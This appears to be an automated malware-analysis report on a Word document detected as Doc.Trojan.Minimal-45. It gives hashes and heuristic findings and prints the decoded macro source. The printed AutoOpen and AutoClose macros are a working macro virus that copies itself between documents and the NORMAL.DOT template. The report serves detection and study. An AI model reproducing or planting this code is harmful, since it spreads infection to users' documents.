Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 85cba8ed1924ced9…

MALICIOUS

Office (OLE)

186.5 KB Created: 1999-07-20 10:44:00 Authoring application: Microsoft Word 10.0 First seen: 2012-07-06
MD5: dcde6128b6fb8fd35538d52bc2a74d93 SHA-1: e489317b0f0d7d47c3c4bf758e73cab49ae22d25 SHA-256: 85cba8ed1924ced9b4bce2cd959e77f2c3f9ea46433ec3d0036b0b582f2bfca2
176 Risk Score

Heuristics 5

  • ClamAV: Doc.Trojan.Minimal-45 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-45
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
     WordBasic.Organizer Копировать:=1, Source:=WordBasic.[DefaultDir$](2) + "\NORMAL.DOT", Destination:=WordBasic.[FileName$](), Name:="AutoOpen", Tab:=3
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Attribute VB_Name = "AutoClose"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1353 bytes
SHA-256: 9bc03a6db51924314dc4fc1290b174b21e7af70e01bdc062194b3aa9003ad049
Detection
ClamAV: Doc.Trojan.Minimal-45
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
Dim count_
Dim w$

WordBasic.EditReplace Find:=" ", Replace:=" ", Direction:=0, MatchCase:=0, WholeWord:=0, PatternMatch:=0, SoundsLike:=0, ReplaceAll:=1, Format:=0, Wrap:=1

count_ = WordBasic.CountMacros(1)
        w$ = WordBasic.[MacroName$](count_, 1)
If w$ = "aaaaa" Then GoTo t Else
WordBasic.Organizer Копировать:=1, Source:=WordBasic.[DefaultDir$](2) + "\NORMAL.DOT", Destination:=WordBasic.[FileName$](), Name:="AutoClose", Tab:=3

 WordBasic.Organizer Копировать:=1, Source:=WordBasic.[DefaultDir$](2) + "\NORMAL.DOT", Destination:=WordBasic.[FileName$](), Name:="AutoOpen", Tab:=3

t:
WordBasic.FileSave
End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()

WordBasic.Organizer Копировать:=1, Source:=WordBasic.[FileName$](), Destination:=WordBasic.[DefaultDir$](2) + "\NORMAL.DOT", Name:="AutoClose", Tab:=3

WordBasic.Organizer Копировать:=1, Source:=WordBasic.[FileName$](), Destination:=WordBasic.[DefaultDir$](2) + "\NORMAL.DOT", Name:="AutoOpen", Tab:=3

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.